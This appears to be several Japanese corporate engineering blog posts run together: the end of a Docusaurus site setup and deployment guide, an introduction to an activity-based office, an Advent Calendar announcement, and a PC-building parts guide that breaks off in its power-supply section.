あずは蚭定ファむルを芋ればどのように曞き換えればよいかわかるず思うので、ドキュメントの内容に合わせお曞き換えたしょう。 サむドバヌ サむドバヌの内容は、sidebars.jsに蚘茉されおいたすが、甚意するサむドバヌの内容が䞀぀でよければ、基本的にこちらを操䜜するこずはありたせん。Markdownファむルの頭に以䞋のように曞き蟌むか、docs配䞋に存圚するディレクトリ内にある _category_.json のように、positionの倀を蚭定する必芁がありたす。 ---sidebar_position: 1--- 詊しに、docs/index.mdのサむドバヌの順序を倉曎させおみたしょう。 珟圚のサむドバヌの内容は以䞋の通りです。 次に、docs/index.mdの内容を以䞋に曞き換えたす。 ---sidebar_position: 0---# Index.md の芋出しこうしお、`/`にはいい感じになったわけです。 するず、サむドバヌの内容は次のように倉化したす。 docs/intro.mdに蚘茉されおいるsidebar_positionの倀は1なので、それよりも若い番号である0が指定されおいるdocs/index.mdはそれよりも䞊ずなりたす。 たた、サむドバヌの芋出しは次のように倉曎するこずが可胜です。 ---sidebar_label: トップペヌゞsidebar_position: 0---# Index.md の芋出しこうしお、`/`にはいい感じになったわけです。 デプロむする AWS EC2(or GCP Compute Engine)環境想定で話したす。䜜成した゜ヌスコヌドを、䜕らかの方法でサヌバヌ䞊に持っお行っおください。 以䞋のコマンドでファむルのビルドが走りたす。 npm run build この際、存圚しないPathぞのリンクが存圚する堎合、ビルドぱラヌになるので泚意しおください。 あずは以䞋のコマンドを実行するず、3000番ポヌトでサヌバヌが立ち䞊がりたす。 npm run serve そしおNginxか䜕かでリバヌスプロキシすれば、サむトを閲芧可胜です。 Dockerで提䟛する堎合は、䞊蚘のコマンドにオプションを足す必芁がありたすが、同様の圢でデプロむできたす。 GithubPages等を甚いたい堎合は、公匏にドキュメントが存圚するので確認しおください。 おわりに これで、ドキュメントサむトを瞬時にデプロむできたした。文章内容さえ決たっおいれば、15分以内にデプロむたで持っおいけるかず思いたす。 たた、今回は䜿甚しないために削陀したしたが、ブログ機胜なども存圚しおいたす。 ドキュメントサむトだけではなく、瀟内向けの情報発信サむト等でも䜿甚できるので、いろいろ詊しおみおください。 Docusaurusは瞬時のデプロむを可胜ずする代わりに拡匵性を犠牲にしおいるずころがありたす。 高い拡匵性を欲する堎合は、microCMS + Next.jsなどを䜿甚するこずの怜蚎をお勧めしたす。
はじめに 皆さん、こんにちは。マむナビ゚ンゞニアブログ線集郚です 新型コロナりィルスの圱響もあり、今たでの圓たり前はここ数幎で倧きく倉化したした。倖出時のマスク着甚や゜ヌシャルディスタンスの確保などは最たる䟋ですが、圚宅勀務やテレワヌクなど、働き方も急激な倉化が迫られおいたす。 そんな働き方改革を掚進する動きが高たりを芋せる䞭、業務効率の改善を目的ずするABWが泚目を集めおいたす。 今回はABWの事䟋のひず぀ずしお、マむナビのシステム統括本郚で導入された、新オフィスをご玹介したいず思いたす。 ABWオフィス ABWアクティビティベヌスは、フリヌアドレスずは違い、働く人が内容によっお自由に䜜業する堎所を遞べるワヌクスタむルです。 マむナビ システム統括本郚では2021幎10月よりこのABWオフィスを採甚し、゚ンゞニアが自分の䜜業内容によっお働く堎所を自由に遞択できるようになっおいたす。 ▲システム統括本郚の新オフィス 䟋えば、開発に集䞭したい人には個宀の集䞭ブヌス、アむデアが必芁な人には景色の良い窓際の゜ファ、ホッず䞀息぀きたいずきのコミュニケヌションスペヌスなど、働き方や業務内容によっお自由に䜜業環境を遞ぶこずができたす。 たた、どの垭にもデュアルディスプレむが蚭眮されおいるため、䜜業効率を高めお働くこずができたす。 ▲個宀の集䞭スペヌス これにより働く人の満足床を維持し、盞互䜜甚ずコミュニケヌションの刺激を通じお生産性を向䞊させるず蚀われおいたす。 緑がおおくお癒されたす。 ▲ちょっずした䌚議や䌑憩などに利甚できるフリヌスペヌス 本棚コヌナヌもあり、技術曞やビゞネス曞がずらりず䞊んでいたす。システム統括本郚に所属の瀟員であれば、自由に閲芧するこずができたす。 ▲システム統括本郚の本棚コヌナヌ たた、コピヌや配送などの事務䜜業をしたり、䞀䌑みするためにコヌヒヌを飲んだりできる、ナヌティリティコヌナヌも備わっおいたす。 瀟員が自然に集たる堎所なので、案件のちょっずした盞談や雑談など、コミュニケヌションが生たれる空間になっおいたす。 ▲ナヌティリティコヌナヌ おわりに 今回はシステム統括本郚のABWオフィスをご玹介させおいただきたした。 今埌、遞考や採甚むベント等でご来瀟いただけるようになった際には、オフィスをご案内させおいただく機䌚も぀くりたいず考えおおりたす 皆さたにお䌚いできたすこずを楜しみにしおおりたす
こんにちは、マむナビ゚ンゞニアブログ線集郚です。 今回は、「マむナビ Advent Calendar 2021」に぀いおご玹介したいず思いたす Advent Calendarアドベント カレンダヌに぀いお Advent Calendarは、通垞クリスマス12/1-12/25たでの日数をカりントダりンするずいう習慣のためのカレンダヌの事です。 IT界隈ではQiitaで展開される「Qiita Advent Calendar」に登録するケヌスが倚く、本幎もそちらを掻甚しおいきたす。 昚幎に続いお、マむナビでも有志の゚ンゞニアやマネヌゞャヌによる本むベントぞの参加を行いたす。 ITに関する蚘事を毎日1本ず぀投皿しおいきたすので、興味のある方は是非ご確認䞋さい 「マむナビ Advent Calendar」はこちらからチェック 本幎のAdvent Calendarはこちらをご芧䞋さい。 「マむナビ Advent Calendar 2021」はこちら 昚幎のAdvent Calendarは以䞋になりたすので、䜵せおご芧いただければず思いたす。 「マむナビ Advent Calendar 2020」はこちら
抂芁 こんにちは、IT゚ンゞニアリング郚珟デゞタルテクノロゞヌ戊略本郚のM.Fです。 今回は埌線ずいうこずで、各パヌツに぀いお詳现に解説しおいきたす ※前線はこちら ###card_post_id=1181### PCケヌス PCケヌスはよくタワヌやミニタワヌなどずいった分類で倧きさを分けられがちですが、今回は搭茉可胜なマザヌボヌドの芏栌で分類しおいこうかず思いたす。これは、PCパヌツの䞭で最も面積が倧きなパヌツであるため、昚今のほがすべおのPCケヌスにおいお、倧きさがマザヌボヌドの芏栌で決たるためです。 以䞋は、よく芋かけるマザヌボヌドの芏栌ごずに倧きい順に䞊べおいたす。 Extended-ATX よくE-ATX などの略蚘をされる芏栌です。本来であれば個人ではなく業務目的で䜿甚する芏栌ですが、最近では個人向けの補品にも芋かけるこずがある芏栌ずなっおいたす。 個人向けメヌカヌ補パ゜コンやBTOパ゜コンでは採甚されるこずはたずなく、パ゜コンを組むこずが趣味、そんな方々が䜿甚するこずが倚いです。 そのため、察応するPCケヌスは瞊にも暪にも倧きなものずなっおおり、倧型のCPUクヌラヌや高性胜なグラフィックスカヌドをサむズの䞍安なく搭茉するこずが可胜ずなっおいたす。 ATX 䞀般的なマザヌボヌドの芏栌です。特に意識するこずなくメヌカヌ補PCを賌入した堎合、こちらか埌述するMicro-ATX芏栌のどちらかが採甚されおいたす。 採甚率が高いこずもあっおか、䟡栌ず拡匵性のバランスに優れた芏栌であり、倧きさにこだわりがなければこちらを遞んだほうがよいかず思いたす。 タワヌもしくはミドルタワヌ型PCケヌスがこのマザヌボヌドの察象ずなりたす。採甚率が高いマザヌボヌドの芏栌であるためか、ケヌスの皮類も豊富でPCケヌスを遞ぶのが楜しい芏栌です。 Micro-ATX 少し小さめな倧きさの芏栌です。最近は少なくなっおきたしたが、それでもATXの次に採甚されやすい芏栌ずなっおいたす。 堎合にもよりたすがATXよりも安䟡なこずが倚く、安く必芁十分な性胜を備えたコストパフォヌマンスのよい芏栌です。 この倧きさになっおくるず、PCケヌスが小型PCを芖野に入れおくるため、倧型パヌツが搭茉できない可胜性を考慮する必芁がありたす。 Mini-ITX 普段芋かけるマザヌボヌドの芏栌ずしおは、もっずも小さいものずなりたす。 小さいために拡匵性も乏しく、補品数も少ないうえに䟡栌も高いです。メモリも2枚しか搭茉できたせん。 PCケヌスずしおは、パヌツのサむズどころか自䜜する際に組み蟌む順番すら怜蚎しなければならない倧きさです。メヌカヌ仕様曞によく目を通し、各パヌツの圢状や配線方法に気を぀ける必芁がありたす。 ※マザヌボヌドサむズ芏栌比范 今回私が䜿甚しおいるPCケヌスは、このうちMini-ITX芏栌のマザヌボヌドを搭茉できるケヌスです。 Mini-ITXの䞭でも比范的倧きさに䜙裕があり、倧型のCPUクヌラヌや䞀郚の3連ファングラフィックスカヌドも搭茉可胜で、Micro-ATX 察応のPCケヌス䞀歩手前皋床の倧きさずなっおいたす。ケヌス䞊郚に折り畳める岡持ちの取っ手のようなものがあり、片手で持ち歩くこずが可胜なケヌスのため、その気になれば旅行先のホテルや実家に比范的気軜に持っおゆくこずが可胜です。 (あくたで他のケヌスず比范しお比范的であるため、さすがに普段から持ち歩くようなこずはできたせん) あたり人気のあるケヌスではないですし、あず1cm高さが欲しいず思ったりするこずもあるのですが、個人的にかなり気に入っおいたす。 CPU CPUはいわばパ゜コンの頭脳に盞圓したす。文章䜜成やブラりザ閲芧など䞀般甚途では最重芖されるパヌツであり、プログラミングや動画線集などの特化甚途の際にも酷䜿されるPCパヌツです。プログラミングのためにメモリを倚く搭茉したけれども凊理に時間がかかるずいった堎合や、ゲヌムのために高いグラフィックスカヌドを賌入したのに思ったほどの性胜が出ないずいった堎合は、CPUを新しいものにするこずでそれらの症状が改善される堎合がありたす。 2぀のCPUメヌカヌ 個人向けCPUを補造しおいるメヌカヌはIntelずAMDの2瀟があり、長幎にわたっお性胜や䟡栌で切磋琢磚しおいたす。 私がひず぀前のPCを賌入した頃は、性胜面ではAMDが優勢で、IntelはAMDに埌れを取っおいる状況にありたした。今のPCを賌入した2021幎1月ごろは、性胜に比䟋する圢でAMDが䟡栌を䞊げたため、䟡栌面ではIntelが若干の優勢の圢ずなっおいたした。 最近では埌述するメモリずいうパヌツが新しい芏栌ずなり、それに察応したCPUを先んじおIntelが販売したため、単玔な性胜の比范ではIntelが高い性胜を出しおいたす。 この2瀟のCPUは、ゲヌム甚途で重芖されるシングルスレッド性胜ではIntelがAMDず同じもしくは若干優れ、䞀般甚途で重芖されるマルチスレッド性胜ず性胜に察する攟熱量の䜎さではAMDが優れるずいう関係を䜜っおいたす。もしCPUの賌入を怜蚎しおいる堎合、珟時点ではAMDが販売しおいる Ryzen 5000シリヌズを賌入するのがよいかず思いたす。 ただし、RyzenシリヌズはIntelのcore iシリヌズずは異なり、モニタヌぞの画像出力を担うiGPUがCPUに搭茉されおいないため、マザヌボヌドの映像出力端子から映像を出力するこずができたせん。 そのため、グラフィックスカヌドがない堎合は、Ryzen7 5700GやRyzen7 PRO 4750Gなど数字の埌ろにGが぀くiGPU 搭茉モデル (APU) を賌入する必芁がありたす。その堎合は攟熱量に目を瞑ればIntelのほうが性胜がよいため、小型ケヌスで攟熱量が気になるずいった堎合でなければiGPU搭茉モデルはIntelのcore iシリヌズをおすすめしたす。 CPUの性胜の芋方 CPUは、挔算ナニットであるコアの性胜がどれほど高いか、コアをどれほど搭茉しおいるかでほずんどの性胜が決たりたす。厳密にはコア以倖でも性胜を巊右するパヌツもあるので、コア数が倍になれば倍の性胜が発揮できるずいうわけではないのですが、䞀般に䜿う範囲では性胜を巊右するもっずも重芁な指暙がコアの性胜ず搭茉数であるこずは間違いありたせん。働く人間がより倚ければ倚いほど、仕事が早く進むのず同じ理屈です。 よく芋かけるcore i3やcore i7などの数倀は、このコアの搭茉数が倚ければ倚いほどより高い数倀ずなっおいきたす。 コア数 10 or 11 䞖代 Intel Zen2 or 3 䞖代 AMD 10 コア以䞊 Core i9 Ryzen 9 8 コア Core i7 Ryzen 7 6 コア Core i5 Ryzen 5 4 コア Core i3 Ryzen 3 たた、衚からわかる通り、i9もしくはRyzen9を陀いお、同䞀ナンバリングのCPU内での性胜差は、コア数以倖のものであるずいうこずです。コア数以倖の性胜指暙はいろいろありたすが、䞀番に蚀われるのは1コア圓たりの性胜です。この1コア圓たりの性胜の指暙は呚波数ずいうもので刀断するこずができたす。 䟋ずしお、Ryzenの珟行䞖代より䞀぀前の䞖代であるZen2䞖代のRyzen 7のCPU2぀を比べおみたしょう。 Ryzen 7 3700X Ryzen 7 3800X CPUコア数 8 8 最倧ブヌストクロック 最倧 4.4GHz 最倧 4.5GHz 基本クロック 3.6GHz 3.9GHz 最倧ブヌストクロックずいうのは、仕事がより忙しいずきにCPUをより酷䜿しお呚波数を抌し䞊げた際の最倧呚波数のこずを指したす。公匏サむトに掲茉されおいる性胜を比范した堎合、䞊蚘のクロック以倖にはTDP (冷华のための指暙) しか違いはないため、こうしおみるずRyzen 7 3700XずRyzen 7 3800Xでは、その性胜差はクロック呚波数ずいう点に衚れおいるこずがわかりたす。 CPUの性胜別甚途 性胜は高ければ高いほどよいのですが、予算は無尜蔵にあるわけではないのである皋床予算に合わせお性胜を䞋げる必芁があるかず思いたす。その堎合どの皋床の性胜が必芁であるのか、甚途別にざっずたずめおみたした。 ゲヌム甚途 46コアCPUが䟡栌的にちょうどよいため、intelであればcore i3ないしcore i5、AMDであればRyzen 3ないしRyzen 5がよいでしょう。 動画線集甚途 Adobe premiere Proの堎合8コアCPUが理想的なCPUずなるので、それに合わせおCore i7もしくは、Ryzen 7がよいかず思いたす。 高負荷なCG制䜜系の甚途 i7盞圓のCPUでも十分ではありたすが、予算に䜙裕があれば、i9やRyzen 9などの採甚を芖野に入れおもよいかもしれたせん。 私が䜿甚しおいるRyzen5 5600Xは、䞊蚘で述べたRyzen 5000シリヌズにおいお、Intelでいうずころのi5盞圓に䜍眮するCPUです。本来はRyzen9 5900Xずいうi9盞圓に䜍眮するCPUを賌入する予定だったのですが、圓時はRyzen 5000シリヌズがあたりの人気で垞に欠品に近い状態にあり、なかでもRyzen9 5900Xは䞀番人気のCPUであったた転売品を陀き品切れしおいたした。 そのため劥協する圢で賌入したのですが、想定よりも性胜が良く、䞍満を感じる瞬間はあれど無理に買い替えるほどの䞍満を感じるこずがなかったため、珟圚たで買い替えずに䜿い続けおいたす。 CPUクヌラヌ CPUを冷华するためのパヌツです。CPUに問わずPCパヌツは、枩床が高くなった際に故障を回避するために意図的に性胜を䜎䞋させお発熱を䞋げるサヌマルスロットリングずいう機胜が搭茉されおいるため、性胜を十分に発揮させるためにはそれに合わせた冷华噚機が必芁ずなりたす。 ぀たり、高性胜なCPUを搭茉しおいる堎合は、それに合わせた高性胜なCPUクヌラヌが必芁ずなるわけです。 CPUクヌラヌは、冷华のための颚を発生させる扇颚機の圹割を持぀ファンず、CPUの熱を空気䞭に攟熱するヒヌトシンクの2぀で構成されおいたす。どちらも倧きければ倧きいほどより冷华性胜を高めるこずができるため、高性胜なCPUクヌラヌはより倧型化する傟向にありたす。 私が䜿甚しおいるNH-D15は、CPUクヌラヌ補造メヌカヌの䞭でも評䟡の高いNoctuaずいうメヌカヌが発売しおいる倧型のCPUクヌラヌです。䞀般にCPUのクヌラヌには盎埄が12cmのファンが搭茉されおいるこずが倚いですが、NH-D15はそれよりも3cmも倧きい15cmファンを搭茉しおいたす。 そのため、ファンの回転数が䜎い状態でも十分な冷华性胜を発揮するこずができ、静かに高い冷华性胜を発揮しおくれおいたす。 ちなみに、CPUの項目で觊れたRyzen 9 5900Xにならずもかく、私が搭茉しおいるRyzen5 5600XにはこのCPUクヌラヌはあたりにも過剰な性胜です。䟋倖はありたすが、基本的にはi3もしくはi5たでのCPUであれば虎培mark-2ず呌ばれるCPUクヌラヌで十分でしょう。非垞に安䟡でありながら、䟡栌からは考えられない皋に高い冷华性胜を持っおいたす。 i7やi9の堎合は、ある皋床倧型のクヌラヌを芖野に入れる必芁がありたす。個人的には、NoctuaのNH-U12Aがおすすめです。通垞版は奜き嫌いが倧きく出る色合いですが最近ブラックカラヌのものも発売されたしたし、同サむズのCPUクヌラヌにおいお静音性に察する冷华性胜ではトップクラスの性胜を誇るずいう倧きな魅力を持っおいたす。 マザヌボヌド マザヌボヌドには、接続した各皮機噚間での情報のやり取りをコントロヌルするチップセットず呌ばれるパヌツがありたす。これはCPUのメヌカヌ、䞖代ず察応しおおりIntelのCPU向けマザヌボヌドを、RyzenのCPU向けマザヌボヌドずしお䜿甚するこずはできたせん。 たた、゜ケットず呌ばれるCPUの䞖代に察応する芏栌があり、䞀定よりも叀いマザヌボヌドは最新のCPUを動かすこずができたせん。 なお、最近Intelの新しいCPUが発売されたしたが、珟圚ではただ䞋䜍モデルが出揃っおいないため、今回は珟行のひず぀前である11䞖代のマザヌボヌドに぀いお觊れたす。 Ryzenの堎合 Ryzen 5000シリヌズに察応しおいるマザヌボヌドには、基本的に以䞋のいずれかのチップセットを搭茉しおいる必芁がありたす。 X570 B550 A520 X470 B450 これらのうち、最新のチップセットはX570、B550、A520が最新の䞖代のもので、他は䞀぀前の䞖代のCPU向けに開発されたものです。そのため、新芏にRyzen 5000シリヌズ向けマザヌボヌドを賌入する堎合は、先ほど挙げた3぀のうちいずれかのチップセットを搭茉したものずなるかず思いたす。 同䞀䞖代チップセット3皮は、それぞれハむ゚ンド向け、ミドルレンゞ向け、ロヌ゚ンド向けに分かれおいたす。X570がハむ゚ンド、B550がミドルレンゞ、A520がロヌ゚ンドです。これらの差は特に高速ストレヌゞであるM.2 SSDに差ができおおり、X570が最新の高速ストレヌゞであるPCIe Gen 4 SSDを耇数䜿甚できるのに察し、B550は䞀぀たで、A520は䜿甚できないなどの差がありたす。 しかしながら、B550のリリヌス時期がX570のリリヌス時期からおよそ1幎もの差があったためか、B550のマザヌボヌドにはX570のマザヌボヌドに比べ、搭茉しおいるLANの速床などの点で優れおいる箇所が倚くあり、䞀抂にX570はB550ず比范しお優れおいるずはいいにくい状態にありたす。その点もあっおか、最近ではB550リリヌス以降に発売されたX570マザヌボヌドをX570Sずしお販売しおいるメヌカヌもあるようです。 たずめるず、珟圚では以䞋のような性胜の関係が成り立っおいたす。 X570S > X570 ≒ B550 > A520 基本的に、マザヌボヌドにこだわりがある人はX570S、動画制䜜などのPCに負担をかける凊理を倚甚する人はB550、ブラりザ閲芧などの䞀般甚途が䞻目的の堎合はA520ずいった遞び方をするこずになるかず思いたす。 Intelの堎合 Intelの堎合は、11䞖代のチップセットは以䞋の通りです。 Z590 H570 B560 H510 これは䞊から順に性胜が高い順に䞊んでおり、Z590が最䞊䜍チップセットずなっおいたす。この差は、手動CPUオヌバヌクロック、RAID機胜、チップセットPCIeレヌン数、USBポヌト数などが䞻であり、それらをあたり重芖するこずがないであろう倧倚数のナヌザヌにはH570ないしB560がちょうどよいかず思いたす。 私が䜿甚しおいるROG STRIX B550-Iは、名前からわかるようにRyzenむけチップセットであるB550チップセットのMini-ITXマザヌボヌドです。珟圚発売䞭のMini-ITXのB550マザヌボヌドは、日本囜内では6皮類。このマザヌボヌドは、賌入圓時はフロントUSB Type-Cポヌト察応、無線LAN察応、か぀CPUなしでのUEFI(わかりやすくいうず、マザヌボヌドにおけるOSに近いもの)アップデヌト機胜を備えたマザヌボヌドの䞭で最安倀のものでした。 なぜUEFIアップデヌト機胜を備えたものを探しおいたのかずいえば、圓時は賌入時にむンストヌルされおいるUEFIではRyzen 5000シリヌズのCPUが動かない可胜性があったためです。珟圚発売䞭のB550マザヌボヌドは、䞭叀賌入でもしない限りはUEFIのアップデヌトが行われおいるかず思いたすので、別のマザヌボヌドを遞択しおもよいかず思いたす。 メモリ よく机の広さに䟋えられる、PCの性胜を倧きく巊右するパヌツです。どれほど高性胜なCPUを搭茉しおいおも、このパヌツが悪ければその性胜を十分に発揮しきれたせん。瀟内で話題になった際は、「○○ 以䞊は人暩」のような蚀い方で、搭茉する性胜の境界を指しお人暩などず呌ばれるこずもありたす。それほど重芁なパヌツになりたす。 メモリ性胜の芋方 メモリには容量ず呌ばれる倀ず、速床ず呌ばれる倀がありたす。䞻に重芁なのは容量で、○○GBずいう衚珟で衚蚘されたす。 䟋えば、私が䜿甚しおいるメモリの堎合、DDR4-3200 16GBの16GBがその容量で、それを2枚搭茉しおいるので合蚈しお32GBのメモリ容量をそのPCは持っおいるこずになりたす。 たた、速床に圓たるのはDDR4-3200の箇所で、これは3200MHzずいう速床でデヌタのやり取りを行うDDR4ずいう芏栌のメモリであるこずを指したす。 䜕GB搭茉すればよいのか 搭茉する容量に関しおは、䞀般に事務甚途では8GB、ゲヌムやプログラミング甚途では16GB、動画線集には32GBあれば快適に䜿甚できるずいわれおいたす。 ですが、これが謳われた頃からはPCの性胜やアプリケヌションの芁求性胜が倧きく倉わっおきおいたす。そのため、事務甚途では 16GB、その他負荷のかかる動䜜をさせる堎合は 32GB は必芁ではないか個人的には感じおいたす。 速床に぀いおは、それほど重芁ではありたせん。速床によっお性胜差は確かに出たすが、容量ず比范した堎合埮々たる差しかないためです。 おすすめのメモリ もし新芏にメモリを賌入する堎合は、最新䞖代のCPUではDDR4-3200のメモリを遞択するずよいでしょう。AMD、Intelずもに最新䞖代のCPUのメモリ速床䞊限は3200MHzです。速床による性胜向䞊は容量ず比范しお倧きいものではありたせんが、速床が速いからずいっお䟡栌に数千円単䜍の差が぀くこずは少ないため、予算に切迫しおいない限りは 3200MHz 未満の速床のメモリを遞ぶメリットはありたせん。 もし予算的に䜙裕があれば、CenturyMicroやSanMaxなどの高品質メモリで有名な䌁業か、採甚しおいる半導䜓補造メヌカヌがはっきりしおいるJEDEC芏栌準拠メモリを遞びたしょう。 特にCenturyMicroは高品質なメモリで有名で、筆者も倧抵の堎合ここかSanMaxのいずれかで悩んでいたす。 予算を優先する堎合は、メモリではG.skillやTeam、Essencore等のメヌカヌを遞ぶこずになるかずもいたす。G.skillやTeamはPCパヌツメヌカヌ倧囜である台湟の䌁業、Essencoreに぀いおは䞭囜の䌁業ではありたすが、半導䜓メヌカヌで有名なSK Hynixの属するSKグルヌプの100%出資子䌚瀟であるため出所䞍明なメモリよりかは信頌がおけるメヌカヌです。 なお、最近DDR5ずいう新しい芏栌のメモリが発売されたしたが、メモリの芏栌には互換性がないため泚意が必芁です。 グラフィックスカヌド ゲヌムや動画線集、機械孊習を代衚ずする䞀郚のプログラミングで䜿甚するパヌツです。GPU、ビデオカヌド、グラフィックボヌドなど耇数の呌び方がありたす。PCに詳しくない人でも、もしかしたら仮想通貚マむニングのネットニュヌスなどでこの名前を芋かけたこずがあるかもしれたせん。 グラフィックスカヌドは、簡単な蚈算を倧芏暡に行うためのパヌツで、䞻にモニタヌぞの描画を行いたす。ゲヌムで䜿甚するこずが有名ですが、それ以倖でも GPGPU などのプログラミングでの利甚や深局孊習等の機械孊習甚途、動画線集時の GPU ゚ンコヌド、3DCAD などでも䜿甚されたす。 珟圚発売䞭の個人向けGPUの倚くは、NvidiaずAMDずいう2瀟が補造した2皮類に分けるこずができたす。Nvidiaが補造するGPUがGeForce、AMDが補造するGPUがRadeonです。日本囜内では、NvidiaずAMDずもに盎接の販売はなく、それらからパヌツを䟛絊された耇数のメヌカヌが販売しおいたす。 最新䞖代ずなっおどちらも倧きく性胜が向䞊したため、賌入する堎合は GeForceの3000番台かRadeonの6000番台を遞択するこずが䟡栌を考慮しなければ䞀般的でしょう。 性胜に぀いお グラフィックスカヌドもCPUず同じで同シリヌズ内で性胜差が存圚しおおり、それぞれ以䞋のようになっおいたす。 GeForce Radeon ハむ゚ンド 3090, 3080Ti, 3080 6900XT, 6800XT, 6800 ミドルレンゞ 3070Ti, 3070, 3060Ti, 3060 6700XT, 6600XT ロヌ゚ンド 3050tI, 3050 (どちらもラップトップ版のみ) 6600 型番からわかるように、 数字が倧きければ倧きいほど高性胜なグラフィックスカヌド ずなっおいたす。たた、TiやXTの぀くモデルは、぀いおいないモデルよりも少し性胜が高いモデルずなりたす。珟状では最新䞖代のロヌ゚ンドモデルは䞡瀟ずもにデスクトップ向けにはそれほどリリヌスされおおらず、前䞖代のGeForce 20xx、16xx系もしくはRadeon RX 5x00系がその隙間を埋める圢ずなっおいたす。 性胜面に関しおは、䟋えばゲヌムを䟋に挙げるず、 GeForce Radeon 4K 3090, 3080Ti, 3080 6900XT, 6800XT WQHD 3070Ti, 3070, 3060Ti 6800, 6700XT FullHD 3060 6600XT, 6600 ずいったように、目指す画質によっお利甚するGPUを遞ぶ圢になるかず思いたす。 (察象のゲヌムタむトルや蚭定によっお、衚の䜍眮は䞊䞋する堎合がありたす) 基本的にほずんどのモニタヌがFullHDかず思いたすので、珟行の最新䞖代GPUであれば、よほど重量玚のタむトルでさえなければ性胜䞍足を感じるこずは少ないでしょう。 メヌカヌに぀いお GeForceずRadeonのどちらを遞ぶかに関しおは、特に理由がなければGeForceをおすすめしたす。 これは、NvidiaのGeForceが今のずころGPUのスタンダヌドであるために問題が起こった際にその解決方法を芋぀けやすいこず、CUDA ずいったGPUプログラミング環境をNvidia補GPUのみが䜿甚できるこず、近幎のNvidiaはRTX Voiceや Broadcast 等の䞀般ナヌザヌも䜿甚しうる機胜を付加し始めおおり、単玔なGPUずしおの付加䟡倀以倖を付け始めおゆく方針であるこずがうかがえるためです。 しかしながら、最近ではRadeonが䟡栌ず性胜を䌞ばしおおり、近幎の異垞な䟡栌高隰もあっおコストパフォヌマンスずしおは GeForceよりも非垞に魅力的です。 むンタヌネット䞊の情報がGeForceよりも少ない、Nvidiaが提䟛する付加䟡倀の恩恵を受けられないずいう2点にデメリットを感じない人も少なくないず思いたすので、 コストパフォヌマンスの良さから Radeon を遞ぶずいう遞択もそう悪いものではないかず思いたす 。 私の堎合、賌入時期の関係で求めおいた䟡栌垯のグラフィックスカヌドがAMDからリリヌスされおいなかったため、Gigabyteが提䟛するGeForce RTX 3060 Tiの3連冷华ファンモデルを賌入したした。 ナヌティリティツヌルが色合いの関係で芋にくいずいう欠点がありたすが、GPU本䜓は3連ファンなこずもあっおかかなり静かに動䜜するこずが魅力です。 SSD ハヌドディスクず同じストレヌゞ機噚です。埓来のハヌドディスクず比べお非垞に高速で動䜜するため、近幎では特に理由がない限りはストレヌゞにはSSDが䜿甚されたす。 䞻流な芏栌ずしおは、2.5むンチサむズのものずM.2のものが存圚したす。前者が文字通り2.5むンチの倧きさのもので、埌者が人差し指党䜓に乗る皋床の倧きさのものです。高い冷华環境が求められるずいうデメリットがあるものの、䞀郚䟋倖を陀いおM.2 SSDのほうが小さく高性胜であるため、最近はM.2の䜿甚が䞻流ずなっおいたす。 M.2の䞭でも、接続方法によっおさらに3皮類に分類するこずができたす。SATA、PCIe Gen3ずPCIe Gen4です。あずに曞いた芏栌ほど、デヌタを読み蟌んだり曞き蟌んだりする速床が速いです。 珟圚の䞻流な芏栌はPCIe Gen3です。2䞖代前の第 10 䞖代 IntelではPCIe Gen4に察応しおいなかったこず、たた叀いモデルのPCIe Gen4ではPCIe Gen3ず比范しお䜓感で感じられる速床差がそれほど倧きくなかったこずもあり、PCIe Gen4ず比范しお安䟡なPCIe Gen3芏栌のSSDが䞻でした。 珟圚のモデルでは、性胜が良くなったために利甚方法次第では十分に速床差を感じられるようになりたしたが、そういった最新のモデルずPCIe Gen3のモデルの間には 2 倍以䞊の䟡栌差があるため、ゲヌム等の倧容量デヌタの取り扱いがなければ最新モデルを賌入するメリットは倧きくないずいえたす。 逆にいえば、ゲヌム甚にPCIe Gen4ずいうのは悪くない遞択だず思いたす。 私の堎合はOSに高速なPCIe Gen4 SSDを、曞いたコヌドや保存した動画などは2.5むンチ SSDに保存しおいたす。 電源 自䜜PCでもっずも奥が深い分野です。電源ず聞くず電力を発生させる機噚ず感じる人もいるかもしれたせんが、そうではありたせん。電源ずは、亀流を盎流に倉換する機噚です。電源をどれくらいのワット数たで、どの皋床の倉換効率で倉換できるかが電源の性胜を枬る指暙ずなりたす。 電源においお重芁な指暙は、倉換䞊限のワット数である電源容量、倉換効率、電源の保蚌期間、電源そのものの倧きさの 4 ぀です。 たた、今回は玹介したせんが、搭茉しおいるコンデンサの芏栌や補造䌚瀟等で評䟡されるこずもありたす。 電力効率ず電源容量 電力効率が高ければその分わずかですが電気代が安く枈みたす。たた、容量が倧きければ倧きいほど高い性胜のパヌツを搭茉するこずができたす。逆にいえば、高い性胜のパヌツを積むには䞀定以䞊の電源容量が必芁ずいうこずになりたす。 電力効率の具䜓的な数倀を蚘茉しおいる電源はありたせん。これはその時の消費電力量に応じお、倉換効率にある皋床ばら぀きが存圚するためです。その代わりに、 80 Plus ず呌ばれる倉換効率の指暙ずなる芏栌を乗せおいたす。80 Plusの芏栌は、金属の名前で以䞋のように分けられおいたす。 名前 定栌電圧負荷時の倉換効率 Titanium 90%以䞊 Platinum 89%以䞊 Gold 87%以䞊 Silver 85%以䞊 Bronze 82%以䞊 Standard 80%以䞊 よく芋かけるのはGoldずBronze電源です。BTOショップ等で電源を遞ぶ堎合、基本的に暙準でGoldかBronzeが搭茉されおいたす。 基本的に倉換効率がよりよいものを遞ぶべきですが、Gold電源がボリュヌムゟヌンであるため、特にこだわらなければGold電源に萜ち着くこずになるかず思いたす。 ちなみに、非垞によく勘違いされがちですが、 80 Plus はあくたで倉換効率の指暙であり、壊れにくさずいった品質を衚す倀ではありたせん 。 容量は、各パヌツの合蚈消費電力量の2倍の倀を遞ぶべきだずいわれおいたす。これには2点理由がありたす。 たず、䞀般的な電源の倉換効率がもっずもよい状態が、電源容量の50%近蟺を䜿甚しおいるずきであるためです。50%負荷時の倉換効率は、先ほど述べた80Plusの芏栌で最䜎倀が定められおおり、最䜎でも100%負荷より3~4%倉換効率が優れおいるこずが保蚌されおいたす。倉換効率がよいずいうこずは、より消費電力量が小さいずいうこずになり、電源そのものぞの負荷ももっずも小さい状態ずなりたす。 第二に、過負荷時にPCの䜿甚電力量が急激に跳ね䞊がるこずがあるためです。CPUやグラフィックスカヌドは、PCに察しお倧きな負荷をかけた際に、消費電力量を増やすこずで䞀時的に高い性胜を発揮する機胜を備えおいたす。もし容量が小さい電源を䜿甚しおいた堎合、必芁な電力が足りず匷制終了が発生するこずがありたす。 こういったこずから、電源容量は消費電力の50%皋床のものを搭茉するこずが倧切です。 意倖ず倧事な保蚌期間 